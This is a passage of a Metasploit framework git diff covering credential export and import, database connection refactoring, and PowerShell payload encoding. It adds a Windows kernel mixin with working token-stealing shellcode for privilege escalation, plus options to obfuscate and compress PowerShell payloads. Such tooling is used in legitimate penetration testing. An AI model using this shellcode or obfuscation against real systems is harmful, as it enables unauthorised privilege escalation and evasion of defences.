/^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "" - end - if pass == "" - # Basically this is an error (maybe around [\x20-\x7e] in regex) above - report_file.write(user + "::" + pass + ":") - report_file.write(pass + ":" + pass + ":" + pass + "\n") - else - datas = pass.split(":") - if datas[1] != "00" * 24 - report_file.write "# netlmv2\n" - report_file.write(user + "::" + datas[0] + ":") - report_file.write(datas[3] + ":" + datas[1][0,32] + ":" + datas[1][32,16] + "\n") - end - report_file.write "# netntlmv2\n" - report_file.write(user + "::" + datas[0] + ":") - report_file.write(datas[3] + ":" + datas[2][0,32] + ":" + datas[2][32..-1] + "\n") - end - end - when "ssh_key" - data.each do |c| - if ::File.exists?(c.pass) && ::File.readable?(c.pass) - user = (c.user.nil? || c.user.empty?) ? "" : c.user - key = ::File.open(c.pass) {|f| f.read f.stat.size} - key_id = (c.proof && c.proof[/^KEY=/]) ? c.proof[4,47] : "" - report_file.write "#{user} '#{key_id}'\n" - report_file.write key - report_file.write "\n" unless key[-1,1] == "\n" - # Report file missing / permissions issues in the report itself. - elsif !::File.exists?(c.pass) - report_file.puts "Warning: missing private key file '#{c.pass}'." - else - report_file.puts "Warning: could not read the private key '#{c.pass}'." - end - end - when "text" - data.each do |c| - user = (c.user.nil? || c.user.empty?) ? "" : Rex::Text.ascii_safe_hex(c.user, true) - pass = (c.pass.nil? || c.pass.empty?) ? "" : Rex::Text.ascii_safe_hex(c.pass, true) - report_file.write "%s:%s:::\n" % [user,pass] - end - end - report_file.flush - end - else - report_file.write "# No credentials for this type were discovered.\n" - end - report_file.write "#" * 40; report_file.write "\n" - end - - # Extracts credentials and organizes by type, then by host, and finally by individual - # credential data. Will look something like: - # - # {"smb_hash" => {"host1:445" => [user1,user2,user3], "host2:445" => [user4,user5]}}, - # {"ssh_key" => {"host3:22" => [user10,user20]}}, - # {"text" => {"host4:23" => [user100,user101]}} - # - # This hash of hashes of arrays is, in turn, consumed by gen_export_pwdump. - def extract_credentials - creds = Hash.new - creds["ssh_key"] = {} - creds["smb_hash"] = {} - creds["text"] = {} - myworkspace.each_cred do |cred| - next unless host_allowed?(cred.service.host.address) - # Skip anything that's not associated with a specific host and port - next unless (cred.service && cred.service.host && cred.service.host.address && cred.service.port) - # TODO: Toggle active/all - next unless cred.active - svc = "%s:%d/%s (%s)" % [cred.service.host.address,cred.service.port,cred.service.proto,cred.service.name] - case cred.ptype - when /^password/ - ptype = "text" - else - ptype = cred.ptype - end - creds[ptype] ||= {} - creds[ptype][svc] ||= [] - creds[ptype][svc] << cred - end - return creds - end - def to_xml_file(path, &block) @@ -205,7 +49,7 @@ class Export report_file = ::File.open(path, "wb") report_file.write %Q|\n| - report_file.write %Q|\n| + report_file.write %Q|\n| report_file.write %Q|\n| yield(:status, "start", "hosts") if block_given? @@ -226,12 +70,6 @@ class Export extract_service_info(report_file) report_file.write %Q|\n| - yield(:status, "start", "credentials") if block_given? - report_file.write %Q|\n| - report_file.flush - extract_credential_info(report_file) - report_file.write %Q|\n| - yield(:status, "start", "web sites") if block_given? report_file.write %Q|\n| report_file.flush @@ -263,7 +101,7 @@ class Export report_file.write %Q|\n| - report_file.write %Q|\n| + report_file.write %Q|\n| report_file.flush report_file.close @@ -277,7 +115,6 @@ class Export extract_host_entries extract_event_entries extract_service_entries - extract_credential_entries extract_note_entries extract_vuln_entries extract_web_entries @@ -306,8 +143,7 @@ class Export # Extracts all credentials from a project, storing them in @creds def extract_credential_entries - @creds = [] - myworkspace.each_cred {|cred| @creds << cred} + @creds = Metasploit::Credential::Core.with_logins.with_public.with_private.workspace_id(myworkspace.id) end # Extracts all notes from a project, storing them in @notes @@ -346,14 +182,18 @@ class Export end end - def create_xml_element(key,value) + def create_xml_element(key,value,skip_encoding=false) tag = key.gsub("_","-") el = REXML::Element.new(tag) if value - data = marshalize(value) - data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') - data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } - el << REXML::Text.new(data) + unless skip_encoding + data = marshalize(value) + data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') + data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } + el << REXML::Text.new(data) + else + el << value + end end return el end @@ -572,22 +412,6 @@ class Export end report_file.write(" \n") - # Credential sub-elements - report_file.write(" \n") - @creds.each do |cred| - next unless cred.service.host.id == host_id - report_file.write(" \n") - report_file.write(" #{create_xml_element("port",cred.service.port)}\n") - report_file.write(" #{create_xml_element("sname",cred.service.name)}\n") - cred.attributes.each_pair do |k,v| - next if k.strip =~ /id$/ - el = create_xml_element(k,v) - report_file.write(" #{el}\n") - end - report_file.write(" \n") - end - report_file.write(" \n") - report_file.write(" \n") end report_file.flush @@ -621,19 +445,6 @@ class Export report_file.flush end - # Extract credential data from @creds - def extract_credential_info(report_file) - @creds.each do |c| - report_file.write(" \n") - c.attributes.each_pair do |k,v| - cr = create_xml_element(k,v) - report_file.write(" #{cr}\n") - end - report_file.write(" \n") - report_file.write("\n") - end - report_file.flush - end # Extract service data from @services def extract_service_info(report_file) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index bc38515141..96079cd3d8 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -22,6 +22,13 @@ class DBManager include Msf::DBManager::Migration include Msf::Framework::Offspring + # + # CONSTANTS + # + + # The adapter to use to establish database connection. + ADAPTER = 'postgresql' + # Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6. # Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond. def warn_about_rubies @@ -34,16 +41,19 @@ class DBManager # Returns true if we are ready to load/store data def active - return false if not @usable - # We have established a connection, some connection is active, and we have run migrations - (ActiveRecord::Base.connected? && ActiveRecord::Base.connection_pool.connected? && migrated)# rescue false + # usable and migrated a just Boolean attributes, so check those first because they don't actually contact the + # database. + usable && migrated && connection_established? end # Returns true if the prerequisites have been installed attr_accessor :usable # Returns the list of usable database drivers - attr_accessor :drivers + def drivers + @drivers ||= [] + end + attr_writer :drivers # Returns the active driver attr_accessor :driver @@ -86,9 +96,7 @@ class DBManager # Database drivers can reset our KCODE, do not let them $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ - require "active_record" - - initialize_metasploit_data_models + add_rails_engine_migration_paths @usable = true @@ -98,22 +106,10 @@ class DBManager return false end - # Only include Mdm if we're not using Metasploit commercial versions - # If Mdm::Host is defined, the dynamically created classes - # are already in the object space - begin - unless defined? Mdm::Host - MetasploitDataModels.require_models - end - rescue NameError => e - warn_about_rubies - raise e - end - # # Determine what drivers are available # - initialize_drivers + initialize_adapter # # Instantiate the database sink @@ -123,53 +119,69 @@ class DBManager true end + # Checks if the spec passed to `ActiveRecord::Base.establish_connection` can connect to the database. + # + # @return [true] if an active connection can be made to the database using the current config. + # @return [false] if an active connection cannot be made to the database. + def connection_established? + begin + # use with_connection so the connection doesn't stay pinned to the thread. + ActiveRecord::Base.connection_pool.with_connection { + ActiveRecord::Base.connection.active? + } + rescue ActiveRecord::ConnectionNotEstablished, PG::ConnectionBad => error + elog("Connection not established: #{error.class} #{error}:\n#{error.backtrace.join("\n")}") + + false + end + end + # # Scan through available drivers # - def initialize_drivers - self.drivers = [] - tdrivers = %W{ postgresql } - tdrivers.each do |driver| + def initialize_adapter + ActiveRecord::Base.default_timezone = :utc + + if connection_established? && ActiveRecord::Base.connection_config[:adapter] == ADAPTER + dlog("Already established connection to #{ADAPTER}, so reusing active connection.") + self.drivers << ADAPTER + self.driver = ADAPTER + else begin - ActiveRecord::Base.default_timezone = :utc - ActiveRecord::Base.establish_connection(:adapter => driver) - if(self.respond_to?("driver_check_#{driver}")) - self.send("driver_check_#{driver}") - end + ActiveRecord::Base.establish_connection(adapter: ADAPTER) ActiveRecord::Base.remove_connection - self.drivers << driver - rescue ::Exception + rescue Exception => error + @adapter_error = error + else + self.drivers << ADAPTER + self.driver = ADAPTER end end - - if(not self.drivers.empty?) - self.driver = self.drivers[0] - end - - # Database drivers can reset our KCODE, do not let them - $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ end # Loads Metasploit Data Models and adds its migrations to migrations paths. # # @return [void] - def initialize_metasploit_data_models - # Provide access to ActiveRecord models shared w/ commercial versions - require "metasploit_data_models" + def add_rails_engine_migration_paths + unless defined? ActiveRecord + fail "Bundle installed '--without #{Bundler.settings.without.join(' ')}'. To clear the without option do " \ + "`bundle install --without ''` (the --without flag with an empty string) or `rm -rf .bundle` to remove " \ + "the .bundle/config manually and then `bundle install`" + end - metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( - 'db', - 'migrate' - ) - metasploit_data_model_migrations_path = metasploit_data_model_migrations_pathname.to_s + Rails.application.railties.engines.each do |engine| + migrations_paths = engine.paths['db/migrate'].existent_directories - # Since ActiveRecord::Migrator.migrations_paths can persist between - # instances of Msf::DBManager, such as in specs, - # metasploit_data_models_migrations_path may already be part of - # migrations_paths, in which case it should not be added or multiple - # migrations with the same version number errors will occur. - unless ActiveRecord::Migrator.migrations_paths.include? metasploit_data_model_migrations_path - ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_path + migrations_paths.each do |migrations_path| + # Since ActiveRecord::Migrator.migrations_paths can persist between + # instances of Msf::DBManager, such as in specs, + # migrations_path may already be part of + # migrations_paths, in which case it should not be added or multiple + # migrations with the same version number errors will occur. + unless ActiveRecord::Migrator.migrations_paths.include? migrations_path + ActiveRecord::Migrator.migrations_paths << migrations_path + end + end end end @@ -208,25 +220,22 @@ class DBManager begin self.migrated = false - create_db(nopts) - # Configure the database adapter - ActiveRecord::Base.establish_connection(nopts) + # Check ActiveRecord::Base was already connected by Rails::Application.initialize! or some other API. + unless connection_established? + create_db(nopts) - # Migrate the database, if needed - migrate - - # Set the default workspace - framework.db.workspace = framework.db.default_workspace - - # Flag that migration has completed - self.migrated = true + # Configure the database adapter + ActiveRecord::Base.establish_connection(nopts) + end rescue ::Exception => e self.error = e elog("DB.connect threw an exception: #{e}") dlog("Call stack: #{$@.join"\n"}", LEV_1) return false ensure + after_establish_connection + # Database drivers can reset our KCODE, do not let them $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ end @@ -234,6 +243,29 @@ class DBManager true end + # Finishes {#connect} after `ActiveRecord::Base.establish_connection` has succeeded by {#migrate migrating database} + # and setting {#workspace}. + # + # @return [void] + def after_establish_connection + self.migrated = false + + begin + # Migrate the database, if needed + migrate + + # Set the default workspace + framework.db.workspace = framework.db.default_workspace + rescue ::Exception => exception + self.error = exception + elog("DB.connect threw an exception: #{exception}") + dlog("Call stack: #{exception.backtrace.join("\n")}", LEV_1) + else + # Flag that migration has completed + self.migrated = true + end + end + # # Attempt to create the database # @@ -259,7 +291,13 @@ class DBManager errstr = e.to_s if errstr =~ /does not exist/i or errstr =~ /Unknown database/ ilog("Database doesn't exist \"#{opts['database']}\", attempting to create it.") - ActiveRecord::Base.establish_connection(opts.merge('database' => nil)) + ActiveRecord::Base.establish_connection( + opts.merge( + 'database' => 'postgres', + 'schema_search_path' => 'public' + ) + ) + ActiveRecord::Base.connection.create_database(opts['database']) else ilog("Trying to continue despite failed database creation: #{e}") diff --git a/lib/msf/core/db_manager/import_msf_xml.rb b/lib/msf/core/db_manager/import_msf_xml.rb index 8d70b5e1d0..e3ffd53734 100644 --- a/lib/msf/core/db_manager/import_msf_xml.rb +++ b/lib/msf/core/db_manager/import_msf_xml.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf class DBManager # Handles importing of the xml format exported by Pro. The methods are in a @@ -13,40 +14,40 @@ module Msf # Elements that can be treated as text (i.e. do not need to be # deserialized) in {#import_msf_web_page_element} MSF_WEB_PAGE_TEXT_ELEMENT_NAMES = [ - 'auth', - 'body', - 'code', - 'cookie', - 'ctype', - 'location', - 'mtime' + 'auth', + 'body', + 'code', + 'cookie', + 'ctype', + 'location', + 'mtime' ] # Elements that can be treated as text (i.e. do not need to be # deserialized) in {#import_msf_web_element}. MSF_WEB_TEXT_ELEMENT_NAMES = [ - 'created-at', - 'host', - 'path', - 'port', - 'query', - 'ssl', - 'updated-at', - 'vhost' + 'created-at', + 'host', + 'path', + 'port', + 'query', + 'ssl', + 'updated-at', + 'vhost' ] # Elements that can be treated as text (i.e. do not need to be # deserialized) in {#import_msf_web_vuln_element}. MSF_WEB_VULN_TEXT_ELEMENT_NAMES = [ - 'blame', - 'category', - 'confidence', - 'description', - 'method', - 'name', - 'pname', - 'proof', - 'risk' + 'blame', + 'category', + 'confidence', + 'description', + 'method', + 'name', + 'pname', + 'proof', + 'risk' ] # @@ -80,8 +81,8 @@ module Msf # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_params = unserialize_object( - element.elements['params'], - options[:allow_yaml] + element.elements['params'], + options[:allow_yaml] ) info[:params] = nils_for_nulls(unserialized_params) @@ -127,8 +128,8 @@ module Msf # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_headers = unserialize_object( - element.elements['headers'], - options[:allow_yaml] + element.elements['headers'], + options[:allow_yaml] ) info[:headers] = nils_for_nulls(unserialized_headers) @@ -174,8 +175,8 @@ module Msf # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_params = unserialize_object( - element.elements['params'], - options[:allow_yaml] + element.elements['params'], + options[:allow_yaml] ) info[:params] = nils_for_nulls(unserialized_params) @@ -347,34 +348,40 @@ module Msf end end - host.elements.each('creds/cred') do |cred| - cred_data = {} - cred_data[:workspace] = wspace - cred_data[:host] = hobj - %W{port ptype sname proto proof active user pass}.each {|datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip) + ## Handle old-style (pre 4.10) XML files + if btag == "MetasploitV4" + if host.elements['creds'].present? + unless host.elements['creds'].elements.empty? + origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}") + + host.elements.each('creds/cred') do |cred| + username = cred.elements['user'].try(:text) + proto = cred.elements['proto'].try(:text) + sname = cred.elements['sname'].try(:text) + port = cred.elements['port'].try(:text) + + # Handle blanks by resetting to sane default values + proto = "tcp" if proto.blank? + pass = cred.elements['pass'].try(:text) + pass = "" if pass == "*MASKED*" + + private = create_credential_private(private_data: pass, private_type: :password) + public = create_credential_public(username: username) + core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id) + + create_credential_login(core: core, + workspace_id: wspace.id, + address: hobj.address, + port: port, + protocol: proto, + service_name: sname, + status: Metasploit::Model::Login::Status::UNTRIED) + end end - } - %W{created-at updated-at}.each { |datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.gsub("-","_")] = nils_for_nulls(cred.elements[datum].text.to_s.strip) - end - } - %W{source-type source-id}.each { |datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.gsub("-","_").intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip) - end - } - if cred_data[:pass] == "*MASKED*" - cred_data[:pass] = "" - cred_data[:active] = false - elsif cred_data[:pass] == "*BLANK PASSWORD*" - cred_data[:pass] = "" end - report_cred(cred_data) end + host.elements.each('sessions/session') do |sess| sess_id = nils_for_nulls(sess.elements["id"].text.to_s.strip.to_i) sess_data = {} @@ -399,9 +406,9 @@ module Msf end existing_session = get_session( - :workspace => sess_data[:host].workspace, - :addr => sess_data[:host].address, - :time => sess_data[:opened_at] + :workspace => sess_data[:host].workspace, + :addr => sess_data[:host].address, + :time => sess_data[:opened_at] ) this_session = existing_session || report_session(sess_data) next if existing_session @@ -423,6 +430,7 @@ module Msf end end + # Import web sites doc.elements.each("/#{btag}/web_sites/web_site") do |web| info = {} @@ -450,11 +458,11 @@ module Msf %W{page form vuln}.each do |wtype| doc.elements.each("/#{btag}/web_#{wtype}s/web_#{wtype}") do |element| send( - "import_msf_web_#{wtype}_element", - element, - :allow_yaml => allow_yaml, - :workspace => wspace, - &block + "import_msf_web_#{wtype}_element", + element, + :allow_yaml => allow_yaml, + :workspace => wspace, + &block ) end end @@ -474,9 +482,9 @@ module Msf # @raise [Msf::DBImportError] if unsupported format def check_msf_xml_version!(document) metadata = { - # FIXME https://www.pivotaltracker.com/story/show/47128407 - :allow_yaml => false, - :root_tag => nil + # FIXME https://www.pivotaltracker.com/story/show/47128407 + :allow_yaml => false, + :root_tag => nil } if document.elements['MetasploitExpressV1'] @@ -493,6 +501,8 @@ module Msf metadata[:root_tag] = 'MetasploitExpressV4' elsif document.elements['MetasploitV4'] metadata[:root_tag] = 'MetasploitV4' + elsif document.elements['MetasploitV5'] + metadata[:root_tag] = 'MetasploitV5' end unless metadata[:root_tag] @@ -580,3 +590,4 @@ module Msf end end end + diff --git a/lib/msf/core/db_manager/migration.rb b/lib/msf/core/db_manager/migration.rb index 6d8974b1ac..26c90c6920 100644 --- a/lib/msf/core/db_manager/migration.rb +++ b/lib/msf/core/db_manager/migration.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf class DBManager module Migration diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 829ed71cdf..418e2959b5 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf module Exe diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 9e738da248..230c53cdbf 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -2,6 +2,7 @@ require 'rex/exploitation/cmdstager' require 'msf/core/exploit/exe' +require 'msf/base/config' module Msf diff --git a/lib/msf/core/exploit/local/compile_c.rb b/lib/msf/core/exploit/local/compile_c.rb index 4e892b6ad9..8c0ad3e74e 100644 --- a/lib/msf/core/exploit/local/compile_c.rb +++ b/lib/msf/core/exploit/local/compile_c.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf module Exploit::Local::CompileC diff --git a/lib/msf/core/exploit/local/linux.rb b/lib/msf/core/exploit/local/linux.rb index 5a05f5f379..b79c18f5d9 100644 --- a/lib/msf/core/exploit/local/linux.rb +++ b/lib/msf/core/exploit/local/linux.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/exploit/local/compile_c' module Msf diff --git a/lib/msf/core/exploit/local/linux_kernel.rb b/lib/msf/core/exploit/local/linux_kernel.rb index 72a81eb6a8..4765a3409d 100644 --- a/lib/msf/core/exploit/local/linux_kernel.rb +++ b/lib/msf/core/exploit/local/linux_kernel.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/exploit/local/compile_c' module Msf diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb new file mode 100644 index 0000000000..48a2939b7b --- /dev/null +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -0,0 +1,164 @@ +# -*- coding: binary -*- + +module Msf +module Exploit::Local::WindowsKernel + include Msf::PostMixin + include Msf::Post::Windows::Error + + # + # Find the address of nt!HalDispatchTable. + # + # @return [Integer] The address of nt!HalDispatchTable. + # @return [nil] If the address could not be found. + # + def find_haldispatchtable + kernel_address, kernel_name = find_sys_base(nil) + if kernel_address.nil? || kernel_name.nil? + print_error("Failed to find the address of the Windows kernel") + return nil + end + vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}") + + h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1) + if h_kernel['return'] == 0 + print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})") + return nil + end + h_kernel = h_kernel['return'] + + hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable') + if hal_dispatch_table['return'] == 0 + print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})") + return nil + end + hal_dispatch_table = hal_dispatch_table['return'] + + hal_dispatch_table -= h_kernel + hal_dispatch_table += kernel_address + vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}") + hal_dispatch_table + end + + # + # Find the load address for a device driver on the session. + # + # @param drvname [String, nil] The name of the module to find, otherwise the kernel + # if this value is nil. + # @return [Array] An array containing the base address and the located drivers name. + # @return [nil] If the name specified could not be found. + # + def find_sys_base(drvname) + if session.railgun.util.pointer_size == 8 + ptr = 'Q<' + else + ptr = 'V' + end + + results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size) + unless results['return'] + print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size) + unless results['return'] + print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*") + + addresses.each do |address| + results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) + if results['return'] == 0 + print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})") + return nil + end + current_drvname = results['lpBaseName'][0,results['return']] + if drvname.nil? + if current_drvname.downcase.include?('krnl') + return address, current_drvname + end + elsif drvname == current_drvname + return address, current_drvname + end + end + end + + # + # Open a device on a meterpreter session with a call to CreateFileA and return + # the handle. Both optional parameters lpSecurityAttributes and hTemplateFile + # are specified as nil. + # + # @param file_name [String] Passed to CreateFileA as the lpFileName parameter. + # @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter. + # @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter. + # @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter. + # @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter. + # @return [Integer] The device handle. + # @return [nil] If the call to CreateFileA failed. + # + def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0) + handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil) + if handle['return'] == INVALID_HANDLE_VALUE + print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})") + return nil + end + handle['return'] + end + + # + # Generate token stealing shellcode suitable for use when overwriting the + # HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx + # registers. + # + # @param target [Hash] The target information containing the offsets to _KPROCESS, + # _TOKEN, _UPID and _APLINKS. + # @param backup_token [Integer] An optional location to write a copy of the + # original token to so it can be restored later. + # @param arch [String] The architecture to return shellcode for. If this is nil, + # the arch will be guessed from the target and then module information. + # @return [String] The token stealing shellcode. + # @raise [ArgumentError] If the arch is incompatible. + # + def token_stealing_shellcode(target, backup_token = nil, arch = nil) + arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] + if arch.nil? && module_info['Arch'] + arch = module_info['Arch'] + arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1 + end + if arch.nil? + print_error('Can not determine the target architecture') + fail ArgumentError, 'Invalid arch' + end + + tokenstealing = '' + case arch + when ARCH_X86 + tokenstealing << "\x52" # push edx # Save edx on the stack + tokenstealing << "\x53" # push ebx # Save ebx on the stack + tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 + tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD + tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS + tokenstealing << "\x8b\xc8" # mov ecx, eax + tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN + unless backup_token.nil? + tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided + end + tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks + tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks + tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) + tokenstealing << "\x75\xe8" # jne 0000101e ====================== + tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX + tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX + tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS + tokenstealing << "\x5b" # pop ebx # Restores ebx + tokenstealing << "\x5a" # pop edx # Restores edx + tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + else + # if this is reached the issue most likely exists in the exploit module + print_error('Unsupported arch for token stealing shellcode') + fail ArgumentError, 'Invalid arch' + end + tokenstealing + end +end +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 9f2fdd9669..c5e2b0fc1b 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -57,6 +57,7 @@ require 'msf/core/exploit/wdbrpc' require 'msf/core/exploit/wdbrpc_client' require 'msf/core/exploit/afp' require 'msf/core/exploit/realport' +require 'msf/core/exploit/sip' # Telephony require 'msf/core/exploit/dialup' diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb index 2bc60e7282..514eae6c50 100644 --- a/lib/msf/core/exploit/postgres.rb +++ b/lib/msf/core/exploit/postgres.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core' module Msf diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index c424182883..b99abc4859 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -1,178 +1,380 @@ # -*- coding: binary -*- -require 'zlib' +require 'rex/exploitation/powershell' module Msf module Exploit::Powershell + PowershellScript = Rex::Exploitation::Powershell::Script def initialize(info = {}) super - register_options( - [ - OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]), - OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]), - OptBool.new('RUN_WOW64', [ - true, - 'Execute powershell in 32bit compatibility mode, payloads need native arch', - false - ]), + register_advanced_options( + [ + OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]), + OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']), + OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]), + OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]), + OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]), + OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]), + OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]), ], self.class) end # - # Insert substitutions into the powershell script + # Return an encoded powershell script + # Will invoke PSH modifiers as enabled # - def make_subs(script, subs) - if ::File.file?(script) - script = ::File.read(script) + # @param script_in [String] Script contents + # + # @return [String] Encoded script + def encode_script(script_in) + # Build script object + psh = PowershellScript.new(script_in) + # Invoke enabled modifiers + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k| + mod_method = k.split('::').last.intern + psh.send(mod_method) end - subs.each do |set| - script.gsub!(set[0],set[1]) - end - if datastore['VERBOSE'] - print_good("Final Script: ") - script.each_line {|l| print_status("\t#{l}")} - end - return script + psh.encode_code end # - # Return an array of substitutions for use in make_subs + # Return a gzip compressed powershell script + # Will invoke PSH modifiers as enabled # - def process_subs(subs) - return [] if subs.nil? or subs.empty? - new_subs = [] - subs.split(';').each do |set| - new_subs << set.split(',', 2) - end - return new_subs - end - - # - # Read in a powershell script stored in +script+ - # - def read_script(script) - script_in = '' - begin - # Open script file for reading - fd = ::File.new(script, 'r') - while (line = fd.gets) - script_in << line - end - - # Close open file - fd.close() - rescue Errno::ENAMETOOLONG, Errno::ENOENT - # Treat script as a... script - script_in = script - end - return script_in - end - - - # - # Return a zlib compressed powershell script + # @param script_in [String] Script contents + # @param eof [String] Marker to indicate the end of file appended to script # + # @return [String] Compressed script with decompression stub def compress_script(script_in, eof = nil) + # Build script object + psh = PowershellScript.new(script_in) + # Invoke enabled modifiers + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k| + mod_method = k.split('::').last.intern + psh.send(mod_method) + end - # Compress using the Deflate algorithm - compressed_stream = ::Zlib::Deflate.deflate(script_in, - ::Zlib::BEST_COMPRESSION) - - # Base64 encode the compressed file contents - encoded_stream = Rex::Text.encode_base64(compressed_stream) - - # Build the powershell expression - # Decode base64 encoded command and create a stream object - psh_expression = "$stream = New-Object IO.MemoryStream(," - psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));" - # Read & delete the first two bytes due to incompatibility with MS - 